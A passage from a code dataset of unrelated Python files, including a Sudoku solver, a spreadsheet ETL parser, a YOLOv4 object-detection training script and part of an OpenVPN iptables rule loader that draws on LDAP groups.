B]\n\n#all the digits that are present in sudoku\ndigits = '123456789'\n\n#names of rows\nrows = 'ABCDEFGHI'\n\n#names of cols\ncols = digits\n\n#this is the representation of all the squares\n#they are represented as A1,A2..\nsquares = cross(rows,cols)\n\n#there are 27 units in a Sudoku and they are of 3\n#types row unit, col unit and box unit\n#unitlist stores the units\nunitlist = ([cross(rows,c) for c in cols] +\n\t\t\t[cross(r,cols) for r in rows] +\n\t\t\t[cross(rs,cs) for rs in ('ABC','DEF','GHI') for cs in ('123','456','789')])\n\n#there are 3 units for each square. this is expressed in a python dictionary.\n#units['A1'] lists all the unitlists that are those of 'A1'\nunits = {}\nfor s in squares:\n\tfor u in unitlist:\n\t\tif s in u:\n\t\t\tif s not in units:\n\t\t\t\tunits[s] = []\n\t\t\tunits[s].append(u)\n\n#peers are all of those squares that are there in the unitlist of a particular square\n#excluding the squares whose peers is being found out\n#we store the peers of all squares in a Python Dictionary\npeers = {}\nfor s in squares:\n\tunit_set = set()\n\tfor unit in units[s]:\n\t\tfor square in unit:\n\t\t\tif square != s:\n\t\t\t\tunit_set.add(square)\n\tpeers[s] = unit_set;\n\ngrid = input()\ngrid_chars = []\nfor c in grid:\n\tif c in digits or c in '0.':\n\t\tgrid_chars.append(c)\n\nassert len(grid_chars) == 81\n\n#we store these values in a dictionary using square as key and char value as values\ndef grid_values(grid):\n\t#converts the grid into a dict of square : char\n\tchars = [c for c in grid if c in digits or c in '.0']\n\tassert len(chars) == 81\n\treturn dict(zip(squares,chars))\n\t#this function returns a dict of squares : char\n\n# we use 2 rules for constraint propagation\n# 1) If a square has only one possible value, then eliminate that value from the square's peers\n# 2) If a unit has only one possible place for a value then put the values there\n\ndef eliminate(values,s,d):\n\t#this function eliminates d from the values of s\n\t#if there is no values left in values[s] then error return False\n\t#when there is only one potential value then remove it from all the peers of s (Stratergy 1)\n\t#make sure that the given value d has a place elsewhere, if no square has d as a potential value then return False\n\t#when there is only one place for value d, remove it from its peers (Stratergy 2)\n\n\tif d not in values[s]:\n\t\treturn values #Already eliminated\n\t#removing the d from its values\n\tvalues[s] = values[s].replace(d,'')\n\t#len cannot be 0 contradiction\n\tif len(values[s]) == 0:\n\t\treturn False\n\telif len(values[s]) == 1:\n\t\t#if a square is reduced to one value d2 then eliminate d2 from the peers\n\t\td2 = values[s]\n\t\tif not all(eliminate(values,s2,d2) for s2 in peers[s]):\n\t\t\treturn False\n\tfor u in units[s]:\n\t\t#there are 3 units in of s. Consider them one at a time\n\t\t#dplaces is all those places in values[s] where d is present as a value\n\t\tdplaces = [s for s in u if d in values[s]]\n\t\tif len(dplaces) == 0:\n\t\t\treturn False # this means there is no place for the value\n\t\telif len(dplaces) == 1:\n\t\t\t# d can only be in one place in the unit assign it there\n\t\t\tif not assign(values,dplaces[0],d):\n\t\t\t\treturn False\n\treturn values\n\n\ndef assign(values,s,d):\n\t# we first eliminate all other values from values[s] and propagate\n\t#this removes d from the values of s\n\tother_values = values[s].replace(d,'')\n\tif all(eliminate(values,s,d2) for d2 in other_values):\n\t\treturn values\n\telse:\n\t\treturn False\n\t#what this function basically does is that it eliminates all the other values from the peers of s\n\t# after assiginig d to s. If there is an error then it returns False\n\n\ndef parse_grid(grid):\n\t# converts the grid into a dictionary of possible values, {square : digits}\n\t# or return False if a contradiction is detected\n\tvalues = dict((s,digits) for s in squares)\n\tfor s,d in grid_values(grid).items():\n\t\t# grid_values returns a dict of square : char in that square\n\t\t# so s is the square and d is the value in the square\n\t\tif d in digits and not assign(values,s,d):\n\t\t\treturn False\n\treturn values\n\ndef display(values):\n #Display these values as a 2-D grid.\n width = 1+max(len(values[s]) for s in squares)\n line = '+'.join(['-'*(width*3)]*3)\n for r in rows:\n print(''.join(values[r+c].center(width)+('|' if c in '36' else '') for c in cols))\n if r in 'CF': \n print(line)\n print()\n\n# to search we search for a value d such that we can successfully search for a solution from\n# the result of assigning square s to d. If the search leads to an failed position, go back\n# and consider another value of d. This is a recursive search, and known as depth first search\n# as we consider all possibilities under values[s] = d before we consider a different value for s.\n\n# we use the heuristic called variable ordering meaning that we choose that square which has the least\n# amount of possibilities so that we have the highest probablity of guessing correctly.\n\ndef some(seq):\n\tfor e in seq:\n\t\tif e: return e\n\treturn False\n\ndef search(values):\n\t#we use depth first search and propagation, try all possible values\n\tif values is False:\n\t\treturn False\n\tif all(len(values[s]) ==1 for s in squares):\n\t\treturn values #solved!\n\t#we choose the square with the fewest possibilities\n\tn,s = min((len(values[s]),s) for s in squares if len(values[s]) > 1)\n\treturn some(search(assign(values.copy(),s,d)) for d in values[s])\n\n\ndef solve(grid):\n\treturn search(parse_grid(grid))\n\ndisplay(solve(grid))","sub_path":"Sudoku Solver/sudokuSolver.py","file_name":"sudokuSolver.py","file_ext":"py","file_size_in_byte":5460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"296555120","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Durante a carga inicial, deve-se somar 1 dia quando a data for uma\n terça-feira. Para isso, é necessário descomentar esta parte do código na\n função _transform().\n\n Para atualizar a quantidade de operações programadas e realizadas e o HH\n programado e realizado após a carga inicial, executar os passos seguintes:\n\n - Zerar quantidade de operações programadas e realizadas\n\n UPDATE fact_programacao_weekly_snapshot\n SET operacoes_programadas_e_realizadas = 0\n\n - Atualizar a quantidade de operações programadas e realizadas\n\n UPDATE fact_programacao_weekly_snapshot\n SET operacoes_programadas_e_realizadas = 1\n WHERE EXISTS (SELECT 1\n\t FROM fact_confirmacoes_transactions AS f\n\t INNER JOIN datadim AS data_a\n\t ON data_a.dataid = f.data_fim_real_id\n\t INNER JOIN operacoesdim AS op_a\n\t ON op_a.operacaoid = f.operacaoid\n\n\t INNER JOIN datadim AS data_b\n\t ON data_b.dataid = fact_programacao_weekly_snapshot.data_semana_id\n\t INNER JOIN operacoesdim AS op_b\n\t ON op_b.operacaoid = fact_programacao_weekly_snapshot.operacaoid\n\n\t WHERE op_a.ordem = op_b.ordem\n\t AND op_a.operacao = op_b.operacao\n\t AND data_a.semana_qua = data_b.semana_qua)\n\n - Atualizar a quantidade de HH programado.\n Como não há HH programado nas planilhas de programação, este será\n calculado como o HH restante da operação no início de cada semana.\n\n CREATE TABLE temp_programacao AS\n\t SELECT f1.data_semana_id,\n f1.operacaoid,\n\t COALESCE((SELECT MAX(b2.trabalho_planejado - SUM(hh_realizado), 0)\n\t FROM fact_confirmacoes_transactions f2\n\t INNER JOIN datadim a2\n\t ON a2.dataid = f2.data_fim_real_id\n\t INNER JOIN operacoesdim b2\n\t ON b2.operacaoid = f2.operacaoid\n\t WHERE b2.ordem = b.ordem\n\t AND b2.operacao = b.operacao\n\t AND a2.data_semana_qua < a.data_semana_qua), trabalho_planejado) hh_programado\n\t FROM fact_programacao_weekly_snapshot f1\n INNER JOIN datadim a\n ON a.dataid = f1.data_semana_id\n\t INNER JOIN operacoesdim b\n\t ON b.operacaoid = f1.operacaoid\n\n UPDATE fact_programacao_weekly_snapshot\n SET hh_programado = (SELECT hh_programado\n\t FROM temp_programacao a\n\t WHERE a.data_semana_id = fact_programacao_weekly_snapshot.data_semana_id\n\t AND a.operacaoid = fact_programacao_weekly_snapshot.operacaoid)\n\n DROP TABLE temp_programacao\n\n - Atualizar a quantidade de HH programado e realizado.\n Será calculado como total de HH realizado na semana - HH programado\n\n UPDATE fact_programacao_weekly_snapshot\n SET hh_programado_e_realizado = COALESCE((SELECT MIN(fact_programacao_weekly_snapshot.hh_programado, SUM(f.hh_realizado))\n\t FROM fact_confirmacoes_transactions f\n\t INNER JOIN datadim a\n\t ON a.dataid = f.data_fim_real_id\n\t INNER JOIN datadim a2\n\t ON a2.data = a.data_semana_qua\n\t WHERE a2.dataid = fact_programacao_weekly_snapshot.data_semana_id\n\t AND f.operacaoid = fact_programacao_weekly_snapshot.operacaoid), 0)\n\n - Atualizar a quantidade de HH pendente.\n Será calculado como total de HH programado e realizado - HH programado\n\n UPDATE fact_programacao_weekly_snapshot\n SET hh_pendente_de_ordens_programadas = hh_programado - hh_programado_e_realizado\n\n Validar confirmações da ordem 2013799343\n\"\"\"\n\nimport glob\nimport openpyxl\nimport pandas as pd\nimport numpy as np\nimport logging\nfrom datetime import datetime, timedelta\nfrom . import utils\nfrom ..config import sqlconn as connection\n\nlog = logging.getLogger(__name__)\n\n\ndef _extract(filemask, worksheet):\n \"\"\"Get the data from source system as efficiently as possible.\n \"\"\"\n # Cria DataFrame vazio.\n # Para cada arquivo lido é feito append neste DataFrame.\n df = pd.DataFrame()\n\n # Dicionário para guardar todas as datas da semana usadas nas programações\n all_dates = dict()\n\n # Células onde são preenchidas as datas da semana\n know_ranges = {'data_da_semana': ['D4', 'E4']}\n\n # Load the CSVs\n for filename in glob.glob(filemask):\n log.info('Extraindo {!r}'.format(filename))\n\n df_chunk = pd.read_excel(filename, sheetname=worksheet,\n skiprows=6, encoding='latin-1')\n\n log.info('{:d} linhas lidas'.format(len(df_chunk)))\n\n # Rename columns\n columns = {\n 'Ordem de Manutenção' : 'ordem',\n 'Operação de Manutenção' : 'operacao',\n 'Centro de trabalho da operação' : 'centro_de_trabalho_operacao'}\n\n df_chunk.rename(columns=lambda x: x.strip(), inplace=True)\n df_chunk.columns = utils.deduplicate(df_chunk.columns.values.tolist())\n df_chunk.rename(columns=columns, inplace=True)\n\n # Remove the un-interesting columns\n for c in df_chunk.columns:\n if c not in columns.values():\n log.warn('{!r} não está no schema e será removida'.format(c))\n df_chunk.drop(c, axis=1, inplace=True)\n\n df = df.append(df_chunk, ignore_index=True)\n\n # Extrai períodos de início e fim da programação\n wb = openpyxl.load_workbook(filename, read_only=True, data_only=True)\n ws = wb[worksheet]\n\n for cell in know_ranges['data_da_semana']:\n value = ws[cell].value\n if isinstance(value, datetime):\n all_dates[value] = value\n\n log.info('{:d} total de linhas lidas'.format(len(df)))\n\n # Check schema\n if set(df.columns) != set(columns.values()):\n log.error('Formato de entrada incosistente. ' \\\n 'Esperado [{!s}]; Recebido [{!s}]'. \\\n format(set(columns.values()), set(df.columns)))\n raise ValueError('Formato de entrada incosistente')\n\n if len(all_dates) != 1:\n raise ValueError('As planilhas de programação semanal possuem períodos '\n 'inconsistentes')\n\n # Acrescenta períodos como colunas no dataframe\n data_da_semana = all_dates.popitem()[1]\n semana_series = pd.Series([data_da_semana] * len(df))\n semana_series.name = 'data_da_semana'\n df = pd.concat([df, semana_series], axis=1).reset_index(drop=True)\n\n return df\n\n\ndef _transform(df):\n \"\"\"Perform data cleansing, dimension conforming and calculations on data.\n - Lookups, Validations, Filters, Translations.\n - Changing data structure, Joins, (De)Normalization,\n Aggregation, RollUp, Sorting, Partitioning, De-duplication.\n - Ability to call external tools.\n \"\"\"\n log.info('Preparando programações')\n\n # Exclui linhas com ordem em branco\n n0 = len(df)\n df.dropna(subset=['ordem', 'operacao', 'centro_de_trabalho_operacao'],\n axis=0, how='any', inplace=True)\n n1 = len(df)\n\n log.info('{:d} linhas com campos em branco excluídas, {:d} linhas restantes'.\n format(n0-n1, n1))\n\n # De-duplication\n n0 = len(df)\n df.drop_duplicates(subset=['ordem', 'operacao',\n 'centro_de_trabalho_operacao'], inplace=True)\n n1 = len(df)\n\n log.info('{:d} linhas duplicadas removidas, {:d} linhas restantes'.\n format(n0-n1, n1))\n\n # Translations\n # Durante a carga inicial, deve-se somar 1 dia quando a data for uma\n # terça-feira\n # df['data_da_semana'] = df['data_da_semana'].apply(\n # lambda x: x + timedelta(days=1) if x.isoweekday() == 2 else x)\n\n # Datatypes\n df['ordem'] = df['ordem'].astype(np.int64)\n df['operacao'] = df['operacao'].astype(np.int64)\n\n return df\n\n\ndef parse(source):\n df = _extract(source['filename'], source['worksheet'])\n df = _transform(df)\n\n # Write records stored in a DataFrame to a SQL database\n log.info('Salvando banco de dados')\n df.to_sql('programacao', connection,\n if_exists='replace', index=False, chunksize=16*1000)\n","sub_path":"etl/parsers/programacao.py","file_name":"programacao.py","file_ext":"py","file_size_in_byte":8564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"544038777","text":"class Solution:\n def binarySearch(self, nums, target):\n i = 0\n j = len(nums) - 1\n while i <= j:\n mid = (i + j) // 2\n if nums[mid] == target:\n return mid\n elif nums[mid] < target:\n i = mid + 1\n else:\n j = mid - 1\n return -1\n\n def searchRange(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n 技巧:根据二分查找具体的位置,然后在数据的左右查找边界\n \"\"\"\n k = self.binarySearch(nums, target)\n if k == -1:\n return [-1, -1]\n i = k\n while i >= 0 and nums[k] == nums[i]:\n i -= 1\n j = k\n while j < len(nums) and nums[k] == nums[j]:\n j += 1\n return [i+1, j-1]\n","sub_path":"problems1-50/leetcode-34.py","file_name":"leetcode-34.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"9067271","text":"#!/usr/bin/python\n# Python 3\n\ndef shader2cpp(shader, name):\n lines = shader.splitlines()\n if len(lines)==0:\n print('Empty shader.')\n\n print('const char* ' + makeShaderName(name) + ' = ')\n for li,i in zip(lines,range(1,len(lines)+1)):\n if len(li) == 0:\n print()\n continue\n if li.strip().startswith('//'):\n # Comment line.\n print(li)\n else:\n # Code line.\n if i==len(lines):\n # No new line at end. Some drivers don't give good error\n # info if there are empty lines.\n print('\"' + li + '\"')\n else:\n print('\"' + li + r'\\n\"')\n print(';')\n\ndef makeShaderName(name):\n s = name.split('.')\n if len(s) < 2:\n # Weird shader name.\n return s[0]\n\n if s[1]=='vert':\n suffix='vertex'\n elif s[1]=='frag':\n suffix='fragment'\n elif s[1]=='geom':\n suffix='geometry'\n else:\n # Weird shader name.\n suffix='unknown'\n return s[0] + '_' + suffix\n \n\nif __name__ == '__main__':\n import sys\n import os.path\n \n if len(sys.argv) < 2:\n print('Usage: shader2cpp.py ')\n sys.exit(-1)\n\n f = open(sys.argv[1], 'r')\n shader2cpp(f.read(), os.path.basename(sys.argv[1]))\n \n","sub_path":"scripts/shader2cpp.py","file_name":"shader2cpp.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"61822909","text":"import csv\nfrom typing import Any, List, TextIO, Union\n\nimport torch\n\nfrom ccontrol.replay_buffer import SampleBatch, TorchSampleBatch\n\n\ndef convert_to_torch(\n sample_batch: SampleBatch, device: torch.device\n) -> TorchSampleBatch:\n return TorchSampleBatch(\n **{\n key: torch.from_numpy(value).to(device)\n for key, value in sample_batch._asdict().items()\n }\n )\n\n\ndef listify(x: Union[List, Any]) -> List:\n if type(x) != list:\n return [x]\n return x\n\n\ndef write_list_to_csv(file: TextIO, values: List) -> None:\n csv_writer = csv.writer(file, delimiter=\",\")\n for value in values:\n csv_writer.writerow(listify(value))\n","sub_path":"multiagent/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"618449007","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport os\n\ndefa = 'D:/Users/amida/Documents/DiscordBot'\n\nif __name__=='__main__':\n while True:\n AllFlag = False\n inputstr = input()\n sp = inputstr.split()\n s = './'\n for s in sp[1:]:\n if not '-' in s: path = s\n if '-a' in sp: AllFlag = True\n if sp[0] == ';ls':\n lis = os.listdir(s)\n for fil in lis:\n if fil[0] != '.' or AllFlag:\n print(fil, end=' ')\n print('')\n if sp[0] == ';pwd':\n print(os.getcwd())\n if sp[0] == ';cd':\n if len(sp) == 1:\n os.chdir(defa)\n for s in sp[1:]:\n if not '-' in s: os.chdir(s)\n if sp[0] == ';exit':\n exit(0)","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"520412222","text":"\nimport tensorflow as tf\nfrom model.yolov4 import Yolov4\nfrom model.losses import yolov3_loss\nfrom utils.optimizers import yolov3_optimizers\nfrom utils.eager_coco_map import EagerCocoMap\nfrom generator.generator_builder import get_generator\nimport time\nimport argparse\nimport sys\nimport os\nfrom tqdm import tqdm\nimport logging\nfrom utils.lr_scheduler import get_lr_scheduler\nlogging.getLogger().setLevel(logging.INFO)\nphysical_devices = tf.config.list_physical_devices('GPU')\nif physical_devices:\n tf.config.experimental.set_memory_growth(physical_devices[0], True)\n\ndef parse_args(args):\n parser = argparse.ArgumentParser(description='Simple training script for using ScaledYOLOv4.')\n #training\n parser.add_argument('--epochs', default=300, type=int)\n parser.add_argument('--batch-size', default=5, type=int)\n parser.add_argument('--start-eval-epoch', default=150, type=int)\n parser.add_argument('--eval-epoch-interval', default=1)\n #model\n parser.add_argument('--model-type', default='p5', help=\"choices=['p5','p6','p7']\")\n parser.add_argument('--pretrained-weights', default='pretrain/ScaledYOLOV4_p5_coco_pretrain/coco_pretrain',help=\"Path to a pretrain weights.\")\n parser.add_argument('--checkpoints-dir', default='./checkpoints',help=\"Directory to store checkpoints of model during training.\")\n #loss\n parser.add_argument('--box-regression-loss', default='diou',help=\"choices=['giou','diou','ciou']\")\n parser.add_argument('--classification-loss', default='bce', help=\"choices=['ce','bce','focal']\")\n parser.add_argument('--focal-alpha', default= 0.25)\n parser.add_argument('--focal-gamma', default=2.0)\n parser.add_argument('--ignore-thr', default=0.7)\n parser.add_argument('--reg-losss-weight', default=0.05)\n parser.add_argument('--obj-losss-weight', default=1.0)\n parser.add_argument('--cls-losss-weight', default=0.5)\n #dataset\n parser.add_argument('--num-classes', default=12)\n parser.add_argument('--class-names', default='chess.names')\n parser.add_argument('--dataset', default='dataset/chess_voc')\n parser.add_argument('--dataset-type', default='voc', help=\"voc,coco\")\n parser.add_argument('--voc-train-set', default=[('dataset_1', 'train')],help=\"VOC dataset:[(VOC2007, 'trainval'), (VOC2012, 'trainval')]\")\n parser.add_argument('--voc-valid-set', default=[('dataset_1', 'val')],help=\"VOC dataset:[(VOC2007, 'test')]\")\n parser.add_argument('--voc-skip-difficult', default=True)\n\n '''\n coco dataset directory:\n annotations/instances_train2017.json\n annotations/instances_val2017.json\n images/train2017\n images/val2017\n '''\n parser.add_argument('--coco-train-set', default='train2017')\n parser.add_argument('--coco-valid-set', default='val2017')\n\n parser.add_argument('--augment', default='mosaic',help=\"choices=[None,'only_flip_left_right','ssd_random_crop','mosaic']\")\n parser.add_argument('--multi-scale', default='352',help=\"Input data shapes for training, use 320+32*i(i>=0)\")#896\n parser.add_argument('--max-box-num-per-image', default=100)\n #optimizer\n parser.add_argument('--optimizer', default='sgd', help=\"choices=[adam,sgd]\")\n parser.add_argument('--momentum', default=0.9)\n parser.add_argument('--nesterov', default=True)\n parser.add_argument('--weight-decay', default=5e-4)\n #lr scheduler\n parser.add_argument('--lr-scheduler', default='warmup_cosinedecay', type=str, help=\"choices=['step','warmup_cosinedecay']\")\n parser.add_argument('--init-lr', default=1e-3)\n parser.add_argument('--lr-decay', default=0.1)\n parser.add_argument('--lr-decay-epoch', default=[160, 180], type=int)\n parser.add_argument('--warmup-epochs', default=0)\n parser.add_argument('--warmup-lr', default=1e-4)\n #postprocess\n parser.add_argument('--nms', default='diou_nms', help=\"choices=['hard_nms','diou_nms']\")\n parser.add_argument('--nms-max-box-num', default=300)\n parser.add_argument('--nms-iou-threshold', default=0.2)\n parser.add_argument('--score-threshold', default=0.5)\n #anchor\n parser.add_argument('--anchor-match-type', default='wh_ratio',help=\"choices=['iou','wh_ratio']\")\n parser.add_argument('--anchor-match-iou_thr', default=0.2)\n parser.add_argument('--anchor-match-wh-ratio-thr', default=4.0)\n\n parser.add_argument('--label-smooth', default=0.0)\n parser.add_argument('--scales-x-y', default=[2., 2., 2., 2., 2.])\n parser.add_argument('--accumulated-gradient-num', default=1)\n\n return parser.parse_args(args)\n\ndef main(args):\n train_generator, val_generator, pred_generator = get_generator(args)\n model = Yolov4(args, training=True)\n if args.pretrained_weights:\n if args.model_type == \"p5\":\n cur_num_classes = args.num_classes\n args.num_classes = 80\n pretrain_model = Yolov4(args, training=True)\n pretrain_model.load_weights(args.pretrained_weights).expect_partial()\n for layer in model.layers:\n if not layer.get_weights():\n continue\n if 'yolov3_head' in layer.name:\n continue\n layer.set_weights(pretrain_model.get_layer(layer.name).get_weights())\n args.num_classes = cur_num_classes\n logging.info(\"Load weight successfully!\")\n else:\n logging.info(\"pretrain weight currently support only p5!\")\n\n num_model_outputs = {\"p5\":3,\"p6\":4,\"p7\":5}\n loss_fun = [yolov3_loss(args, grid_index) for grid_index in range(num_model_outputs[args.model_type])]\n lr_scheduler = get_lr_scheduler(args)\n optimizer = yolov3_optimizers(args)\n\n start_time = time.perf_counter()\n coco_map = EagerCocoMap(pred_generator, model, args)\n max_coco_map = 0\n max_coco_map_epoch = 0\n accumulate_num = args.accumulated_gradient_num\n accumulate_index = 0\n accum_gradient = [tf.Variable(tf.zeros_like(this_var)) for this_var in model.trainable_variables]\n\n #training\n for epoch in range(args.epochs):\n lr = lr_scheduler(epoch)\n optimizer.learning_rate.assign(lr)\n remaining_epoches = args.epochs - epoch - 1\n epoch_start_time = time.perf_counter()\n train_loss = 0\n train_generator_tqdm = tqdm(enumerate(train_generator), total=len(train_generator))\n for batch_index, (batch_imgs, batch_labels) in train_generator_tqdm:\n with tf.GradientTape() as tape:\n model_outputs = model(batch_imgs, training=True)\n data_loss = 0\n for output_index,output_val in enumerate(model_outputs):\n loss = loss_fun[output_index](batch_labels[output_index], output_val)\n data_loss += tf.reduce_sum(loss)\n\n total_loss = data_loss + args.weight_decay*tf.add_n([tf.nn.l2_loss(v) for v in model.trainable_variables if 'batch_normalization' not in v.name])\n grads = tape.gradient(total_loss, model.trainable_variables)\n accum_gradient = [acum_grad.assign_add(grad) for acum_grad, grad in zip(accum_gradient, grads)]\n\n accumulate_index += 1\n if accumulate_index == accumulate_num:\n optimizer.apply_gradients(zip(accum_gradient, model.trainable_variables))\n accum_gradient = [ grad.assign_sub(grad) for grad in accum_gradient]\n accumulate_index = 0\n train_loss += total_loss\n train_generator_tqdm.set_description(\n \"epoch:{}/{},train_loss:{:.4f},lr:{:.6f}\".format(epoch, args.epochs,\n train_loss/(batch_index+1),\n optimizer.learning_rate.numpy()))\n train_generator.on_epoch_end()\n\n #evaluation\n if epoch >= args.start_eval_epoch:\n if epoch % args.eval_epoch_interval == 0:\n summary_metrics = coco_map.eval()\n if summary_metrics['Precision/mAP@.50IOU'] > max_coco_map:\n max_coco_map = summary_metrics['Precision/mAP@.50IOU']\n max_coco_map_epoch = epoch\n model.save_weights(os.path.join(args.checkpoints_dir, 'scaled_yolov4_best_{}_{:.3f}'.format(max_coco_map_epoch, max_coco_map)))\n logging.info(\"max_coco_map:{},epoch:{}\".format(max_coco_map,max_coco_map_epoch))\n\n cur_time = time.perf_counter()\n one_epoch_time = cur_time - epoch_start_time\n logging.info(\"time elapsed: {:.3f} hour, time left: {:.3f} hour\".format((cur_time-start_time)/3600,remaining_epoches*one_epoch_time/3600))\n\n # model.save(os.path.join(args.checkpoints_dir, 'best_model_{}_{:.3f}'.format(max_coco_map_epoch, max_coco_map)))\n logging.info(\"Training is finished!\")\nif __name__ == \"__main__\":\n args = parse_args(sys.argv[1:])\n main(args)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":8912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"473616622","text":"#!/usr/bin/env python\n# Requires:\n# python-ldap\n#\n# Version: MPL 1.1/GPL 2.0/LGPL 2.1\n#\n# The contents of this file are subject to the Mozilla Public License Version\n# 1.1 (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n# http://www.mozilla.org/MPL/\n#\n# Software distributed under the License is distributed on an \"AS IS\" basis,\n# WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n# for the specific language governing rights and limitations under the\n# License.\n#\n# The Original Code is the netfilter.py for OpenVPN learn-address.\n#\n# The Initial Developer of the Original Code is\n# Mozilla Corporation\n# Portions created by the Initial Developer are Copyright (C) 2012\n# the Initial Developer. All Rights Reserved.\n#\n# Contributor(s):\n# gdestuynder@mozilla.com (initial author)\n#\n# Alternatively, the contents of this file may be used under the terms of\n# either the GNU General Public License Version 2 or later (the \"GPL\"), or\n# the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n# in which case the provisions of the GPL or the LGPL are applicable instead\n# of those above. If you wish to allow use of your version of this file only\n# under the terms of either the GPL or the LGPL, and not to allow others to\n# use your version of this file under the terms of the MPL, indicate your\n# decision by deleting the provisions above and replace them with the notice\n# and other provisions required by the GPL or the LGPL. If you do not delete\n# the provisions above, a recipient may use your version of this file under\n# the terms of any one of the MPL, the GPL or the LGPL.\n\nimport os\nimport sys\nimport ldap\nimport syslog\n\nLDAP_URL='ldap://<%= ldap_server %>'\nLDAP_BIND_DN='uid=<%= bind_user %>,ou=logins,dc=mozilla'\nLDAP_BIND_PASSWD='<%= bind_password %>'\nLDAP_BASE_DN='ou=groups,dc=mozilla'\nLDAP_FILTER='cn=vpn_*'\n\nCEF_FACILITY=syslog.LOG_LOCAL4\nNODENAME=os.uname()[1]\nIPTABLES='/sbin/iptables'\nRULES='<%= confdir %>/plugins/netfilter/rules'\nPER_USER_RULES_PREFIX='users/vpn_'\n\nclass IptablesFailure (Exception):\n\tpass\n\ndef iptables(args, raiseEx=True):\n\t\"\"\"False on error if raiseEx=True, True on success, Exception otherwise\"\"\"\n\tcommand = \"%s %s\" % (IPTABLES, args)\n\tstatus = os.system(command)\n\tif status == -1:\n\t\traise IptablesFailure(\"failed to invoke iptables (%s)\" % (command,))\n\tstatus = os.WEXITSTATUS(status)\n\tif raiseEx and (status != 0):\n\t\traise IptablesFailure(\"iptables exited with status %d (%s)\" % (status, command))\n\tif (status != 0):\n\t\treturn False\n\treturn True\n\ndef log(msg):\n\tsyslog.openlog('OpenVPN', 0, syslog.LOG_DAEMON)\n\tsyslog.syslog(syslog.LOG_INFO, msg)\n\tsyslog.closelog()\n\ndef cef(msg1, msg2):\n\tsyslog.openlog('OpenVPN', 0, CEF_FACILITY)\n\tcefmsg = 'CEF:0|Mozilla|OpenVPN|1.0|'+msg1+'|'+msg2+' dhost='+NODENAME\n\tsyslog.syslog(syslog.LOG_INFO, cefmsg)\n\tsyslog.closelog()\n#\tlog(cefmsg)\n\ndef parse_rules(fd):\n\trules = []\n\tline = fd.readline()\n\twhile line != '':\n\t\tif line.startswith('#'):\n\t\t\tline = fd.readline()\n\t\t\tcontinue\n\t\trules.append(line.split(\"\\n\")[0])\n\t\tline = fd.readline()\n\treturn rules\n\ndef load_ldap():\n\tconn = ldap.initialize(LDAP_URL)\n\tconn.simple_bind_s(LDAP_BIND_DN, LDAP_BIND_PASSWD)\n\tres = conn.search_s(LDAP_BASE_DN, ldap.SCOPE_SUBTREE, LDAP_FILTER, ['cn', 'member'])\n#schema = {'vpn_example1': ['noob1@mozilla.com', 'noob2@mozilla.com'], 'vpn_example2': ...}\n\tschema = {}\n\tfor grp in res:\n\t\tulist = []\n\t\tgroup = grp[1]['cn'][0]\n\t\tfor u in grp[1]['member']:\n\t\t\ttry:\n\t\t\t\tulist.append(u.split('=')[1].split(',')[0])\n\t\t\texcept:\n\t\t\t\tlog(\"Failed to load user from LDAP: %s at group %s, skipping\" % (u, group))\n\t\tschema[group] = ulist\n\treturn schema\n\ndef load_group_rule(address, cn, dev, group):\n\trule_file = RULES+\"/\"+group+'.rules'\n\ttry:\n\t\tfd = open(rule_file)\n\texcept:\n\t\tlog(\"Failed to open rule file %s\" % rule_file)\n\t\tsys.exit(1)\n\n\tfor r in parse_rules(fd):\n\t\tiptables(\"-A %s -s %s -d %s -j ACCEPT -m comment --comment \\\"%s:%s\\\"\" % (address, address, r, cn, group))\n\t\tiptables(\"-A %s -d %s -s %s -j ACCEPT -m comment --comment \\\"%s:%s\\\"\" % (address, address, r, cn, group))\n\tfd.close()\n\ndef load_rules(address, cn, dev):\n\tschema = load_ldap()\n\tfor group in schema:\n\t\tif cn in schema[group]:\n\t\t\tload_group_rule(address, cn, dev, group)\n\tiptables(\"-A %s -j DROP\" % (address))\n\ndef load_per_user_rules(address, cn, dev):\n\trule_file = RULES+\"/\"+PER_USER_RULES_PREFIX+cn\n\ttry:\n\t\tfd = open(rule_file)\n\texcept:\n# by default, there's generally no per user rules, so fail in silence\n\t\treturn\n\n\tfor r in parse_rules(fd):\n\t\tiptables(\"-A %s -s %s -d %s -j ACCEPT -m comment --comment \\\"%s:user_specific_rule\\\"\" % (address, address, r, cn))\n\tfd.close()\n\ndef chain_exists(name):\n\treturn iptables('-L '+name, False)\n\ndef add_chain(address, cn, dev):\n\tif chain_exists(address):\n\t\tcef('Chain exists|Attempted to replace an existing chain. Failing.', 'dst='+address+' suser='+cn)\n\t\tsys.exit(1)\n\tiptables('-N '+address)\n\tiptables('-A OUTPUT -d '+address+' -j '+address)\n\tiptables('-A INPUT -s '+address+' -j '+address)\n\tiptables('-A FORWARD -s '+address+' -j '+address)\n\tload_rules(address, cn, dev)\n\tload_per_user_rules(address, cn, dev)\n\ndef update_chain(address, cn, dev):\n\tdel_chain(address, dev)\n\tadd_chain(address, dev)\n\t\ndef del_chain(address, dev):\n\tiptables('-D OUTPUT -d '+address+' -j '+address, False)\n\tiptables('-D INPUT -s '+address+' -j '+address, False)\n\tiptables('-D FORWARD -s '+address+' -j '+address, False)\n\tiptables('-F '+address, False)\n\tiptables('-X '+address, False)\n\ndef main():\n\ttry:\n\t\tdevice = 